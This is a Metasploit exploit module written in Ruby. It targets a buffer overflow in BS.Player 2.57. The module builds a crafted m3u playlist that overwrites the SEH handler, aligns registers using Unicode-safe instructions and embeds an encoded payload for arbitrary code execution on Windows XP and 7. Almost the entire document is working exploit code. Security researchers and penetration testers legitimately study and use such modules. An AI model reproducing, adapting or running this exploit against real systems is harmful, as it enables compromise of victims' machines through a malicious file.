136 lines
3.6 KiB
Ruby
136 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',
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'Description' => %q{
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This module exploits a buffer overflow in BS.Player 2.57. When
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the playlist import is used to import a specially crafted m3u file,
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a buffer overflow occurs allowing arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'C4SS!0 G0M3S ', # Original Exploit
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'Chris Gabriel', # MSF Module
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#Greets: Corelan team for mona.py & awesome tutorials
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],
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'References' =>
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[
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[ 'OSVDB', '82528' ],
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[ 'EDB', '15934' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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#'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00\x0a\x0d\x1a\x80",
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'DisableNops' => true,
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Windows XP',
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{
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# pop ecx # pop ebp # ret 0c
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# ASLR: False, Rebase: False, SafeSEH: False
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# v2.5.7.1051 (bsplayer.exe)
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'Ret' => "\x2f\x49",
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'Offset' => 4102,
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'Padding' => 1879
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}
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],
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[ 'Windows 7',
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{
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# pop ecx # pop ebp # ret 0c
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# ASLR: False, Rebase: False, SafeSEH: False
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# v2.5.7.1051 (bsplayer.exe)
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'Ret' => "\x2f\x49",
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'Offset' => 4102,
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'Padding' => 1931
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jan 07 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
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], self.class)
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end
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def exploit
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nseh = "\x61\x42"
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align = ''
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x58" # POP EAX
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align << "\x6d" # PAD
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align << "\x50" # PUSH EAX
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align << "\x6d" # PAD
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align << "\xc3" # RET
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enc = framework.encoders.create('x86/unicode_mixed')
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register_to_align_to = "EAX"
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enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
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unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
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padding = rand_text_alpha_lower(target['Padding'])
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buffer = "http://"
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buffer << rand_text_alpha_lower(target['Offset'])
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buffer << nseh
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buffer << target['Ret']
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buffer << align
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buffer << padding
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buffer << unicodepayload
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file_create(buffer)
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end
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end
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